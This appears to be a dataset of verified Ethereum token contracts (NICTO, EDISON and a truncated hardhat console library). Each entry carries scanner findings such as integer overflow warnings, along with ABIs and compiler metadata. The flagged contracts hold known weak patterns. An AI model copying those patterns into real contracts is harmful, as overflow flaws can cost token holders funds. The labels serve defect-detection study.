approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["24"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["71", "92", "90", "89", "81", "80"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NICTO.sol": [78, 79, 80, 81, 82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NICTO.sol": [108, 109, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NICTO.sol": [96, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NICTO.sol": [98, 99, 100]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NICTO.sol": [102, 103, 104, 105, 106]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [11]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"NICTO.sol": [52]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [98]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [108]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [108]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NICTO.sol": [78]}}]
[{"error": "Integer Underflow.", "line": 64, "level": "Warning"}, {"error": "Integer Underflow.", "line": 66, "level": "Warning"}, {"error": "Integer Overflow.", "line": 89, "level": "Warning"}, {"error": "Integer Overflow.", "line": 81, "level": "Warning"}]
[{"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 11, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 61, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 113, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 114, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.24+commit.e67f0147
false
200
Default
false
bzzr://b9feee8d4657a561af863670b4129102ce9d168fd7bf73e62272510100749bef
EDISON
0x4f464372d8f8a89e99ce56658ec1fd8f883394e7
Solidity
pragma solidity ^0.4.26; contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { _assert(b > 0); uint256 c = a / b; _assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { _assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _assert(c >= a && c >= b); return c; } function _assert(bool assertion) internal pure { if (!assertion) { revert(); } } } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract EDISON is SafeMath,Owned { string public name = "EDISON Coin"; string public symbol = "EDISON "; uint8 constant public decimals = 18; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) public _allowed; uint256 public totalSupply = 1000000000000 * 10**uint(decimals); constructor () public{ _balances[msg.sender] = totalSupply; emit Transfer(0x0, msg.sender, totalSupply); } function balanceOf(address addr) public view returns (uint256) { return _balances[addr]; } function transfer(address _to, uint256 _value) public returns (bool) { if (_to == address(0)) { return burn(_value); } else { require(_balances[msg.sender] >= _value && _value > 0); require(_balances[_to] + _value >= _balances[_to]); _balances[msg.sender] = safeSub(_balances[msg.sender], _value); _balances[_to] = safeAdd(_balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } } function burn(uint256 _value) public returns (bool) { require(_balances[msg.sender] >= _value && _value > 0); require(totalSupply >= _value); _balances[msg.sender] = safeSub(_balances[msg.sender], _value); totalSupply = safeSub(totalSupply, _value); emit Burn(msg.sender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_balances[_from] >= _value && _value > 0); require(_balances[_to] + _value >= _balances[_to]); require(_allowed[_from][msg.sender] >= _value); _balances[_to] = safeAdd(_balances[_to], _value); _balances[_from] = safeSub(_balances[_from], _value); _allowed[_from][msg.sender] = safeSub(_allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function allowance(address _master, address _spender) public view returns (uint256) { return _allowed[_master][_spender]; } event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 value); event Burn(address indexed _from, uint256 value); }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["62", "63"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["53", "50"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["68"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [62]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EDISON.sol": [10, 11, 12, 13, 14, 15]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EDISON.sol": [4, 5, 6, 7, 8]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"EDISON.sol": [13]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [53, 54, 55, 56, 57, 58]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [118, 119, 120, 121, 122, 123]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [50, 51, 52]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [76, 77, 78]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EDISON.sol": [125, 126, 127]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"EDISON.sol": [51]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [125]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [104]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [104]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [81]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [65]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [104]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [125]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [81]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [66]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"EDISON.sol": [95]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"EDISON.sol": [68]}}]
[{"error": "Integer Underflow.", "line": 62, "level": "Warning"}, {"error": "Integer Underflow.", "line": 63, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 57, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 29, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 65, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"_allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_master","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"}]
v0.4.26+commit.4563c3fc
true
200
Default
MIT
false
bzzr://91bc34a9fe14f32cd82c1fe3c3cae3293ae85a568eb08f49baaa8350386abd37
FRXST
0x16c4b48c64fb39f0fbed9d856a35f854daec63e0
Solidity
// File: hardhat/console.sol pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { 